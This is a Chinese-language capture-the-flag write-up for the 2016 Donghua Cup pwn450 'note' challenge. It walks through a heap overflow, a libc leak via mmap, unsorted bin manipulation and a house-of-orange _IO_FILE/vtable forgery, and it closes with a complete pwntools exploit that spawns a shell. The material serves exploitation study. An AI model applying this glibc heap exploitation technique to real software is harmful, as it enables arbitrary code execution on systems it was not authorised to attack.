2016东华杯pwn450-note

链接:https://pan.baidu.com/s/1QEKd37yhK-vTDxViS76q5A
提取码:vbek

grxer@grxer /m/h/S/c/p/io_file> checksec ./16pwn450_note 
[*] '/mnt/hgfs/Share/ctfwiki/pwn/io_file/16pwn450_note'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序可以申请一个最小512堆块,最大无限制

__int64 __fastcall sub_400B3B(__int64 a1)
{
int v1; // eax
char buf; // [rsp+17h] [rbp-9h] BYREF
unsigned int v4; // [rsp+18h] [rbp-8h]
int v5; // [rsp+1Ch] [rbp-4h]

v4 = 0;
while ( 1 )
{
v5 = read(0, &buf, 1uLL);
if ( v5 <= 0 )
exit(-1);
if ( buf == 10 )
break;
v1 = v4++;
*(_BYTE *)(a1 + v1) = buf;
}
*(_BYTE *)((int)v4 + a1) = 0;
return v4;

该函数可以无限溢出堆块,狂喜

泄露libc

唯一一个打印信息的地方是打印申请到的内存地址,我们可以利用mmap申请一个内存,会和libc有一个固定偏移

image-20230410000002101

mmap阈值为128k

new(0x200000)#libcbase libcbase=int(rl(),16)+0x201000-0x10

拿到基地址

unsorted bin attack && house of orange

因为只有一个堆块,free后肯定会和topchunk合并,不会进入bin里,只能利用切割topchunk时大小不合适,去重新申请一块大内存同时把oldchunk放入unsortedbin,同时需要构造多个unsortedbin才可以在切割时把0x60大小的bin送人small bin伪造_chain

new(0x200) payload=b'\x00'*0x200+p64(0)+p64(0x10df1)

用溢出改掉大小,再free再申请一个比这个chunk还大的内存,把这个chunk放入unsortedbin

image-20230409231152136

new(0x200)

image-20230409231752579

切割下来一块

payload=b'\x00'*0x200+p64(0)+p64(0x10dd1)+p64(unsorted_bin)*2+b'\x00'*0x10db0+p64(0x10dd0)+p64(0x11) edit(payload)

为了防止释放时unlink,把chunk的下一个chunk的prevsize和previnuse位改掉,释放到unsortedbin 且不合并

image-20230409231532142

这个时候就有一个问题,unsortedbin是FIFO的,每次只能申请一个会导致,每次拿出来的地址是高地址,没办法溢出覆盖低地址的在unsorted里的堆,所以我们需要再次申请new(0x10d00)会从大块的什么切割,同时把0x200的小块放到 small bin,打破这个顺序,因为申请是是先遍历smallbins

image-20230409231930232

free掉

image-20230409232347124

现在我们就可以申请出来smallbin然后通过溢出布置house of orange了

image-20230409234910775

payload=b'\x00'*0x200+p64(0)+p64(0x10d11)+p64(heap+0x210)+p64(unsorted_bin)+b'\x00'*(0x10d10-0x20)#溢出到第二个块
payload+=b'/bin/sh\x00'+p64(0x61)+p64(unsorted_bin)+p64(_IO_list_all-0x10)#布置orange
payload+=p64(0)#write base
payload+=p64(1)#write ptr 绕过检测
payload+=b'\x00'*(0xc0-48) # c0大小达到 mode
payload+=p64(0xffffffffffffffff)#mode=-1
payload+=b'\x00'*(0xd8-8-0xc0)#到达_vtable
payload+=p64(heap+0x10ff8+8)#vtable指向下面写入下面数据的地址
payload+=p64(0)*2
payload+=p64(1)
payload+=p64(system)

我们把unsortedbin第二个块改为60大小,下一次申请时切割第一个unsortedbin,会把第二个块的bk->fd=unsortedbin,同时放入smallbin 0x60大小里

绕过一些检测

payload+=p64(heap+0x10ff8+8)可以根据前面填入的大小 0x10+0x200+0x10d10+0xd8+8=0x1 1000 这里0x10是因为heap我们去了申请heap的chunkhead,而不是数据区开始,+8是因为这个字段本身占一个,或者通过在此次输入一个标识符进行搜索,计算偏移

image-20230409235134812

$1 = {
file = {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "",
_IO_read_base = 0x7ffff7dd2510 "",
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = "\377\377\377\377", '\000' <repeats 15 times>
},
vtable = 0x614000
}
pwndbg> p *(struct _IO_jump_t*)0x614000
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x1,
__overflow = 0x7ffff7a523a0 <__libc_system>,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

image-20230409235705003

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./16pwn450_note'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libcelf=ELF('/lib/x86_64-linux-gnu/libc.so.6')
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")

def new(size):
io.sendlineafter(b'on--->>\n',b'1')
io.sendlineafter(b'size:',str(size).encode())


def edit(content):
io.sendlineafter(b'on--->>\n',b'3')
io.sendlineafter(b'content:',content)

def free():
io.sendlineafter(b'>>',b'4')
#泄露基地址
new(0x200000)#libcbase
libcbase=int(rl(),16)+0x201000-0x10

unsorted_bin=libcbase+0x68+libcelf.symbols['__malloc_hook']
_IO_list_all=libcbase+libcelf.symbols['_IO_list_all']
system=libcbase+libcelf.symbols['system']
p('libc',libcbase)
p('unsotr',unsorted_bin)
p('iolist',_IO_list_all)
# b()
free()
#放入unsortedbin
new(0x200)
payload=b'\x00'*0x200+p64(0)+p64(0x10df1)
edit(payload)
free()
new(0x15000)
free()
# b()
#防止unlink

new(0x200)
# b()
payload=b'\x00'*0x200+p64(0)+p64(0x10dd1)+p64(unsorted_bin)*2+b'\x00'*0x10db0+p64(0x10dd0)+p64(0x11)
edit(payload)
free()
# b()
# 大块切割一部分,小块放入smallbin
new(0x10d00)
free()
# b()
new(0x200)
# b()
heap=int(rl(),16)-0x10
p('heap',heap)
payload=b'\x00'*0x200+p64(0)+p64(0x10d11)+p64(heap+0x210)+p64(unsorted_bin)+b'\x00'*(0x10d10-0x20)#溢出到第二个块
payload+=b'/bin/sh\x00'+p64(0x61)+p64(unsorted_bin)+p64(_IO_list_all-0x10)#布置orange
payload+=p64(0)#write base
payload+=p64(1)#write ptr 绕过检测
payload+=b'\x00'*(0xc0-48) # c0大小达到 mode
payload+=p64(0xffffffffffffffff)#mode=-1
payload+=b'\x00'*(0xd8-8-0xc0)#到达_vtable
payload+=p64(heap+0x10ff8+8)#vtable指向下面写入下面数据的地址
payload+=p64(0)*2
payload+=p64(1)
payload+=p64(system)
edit(payload)
b()
free()
new(0x100)
io.interactive()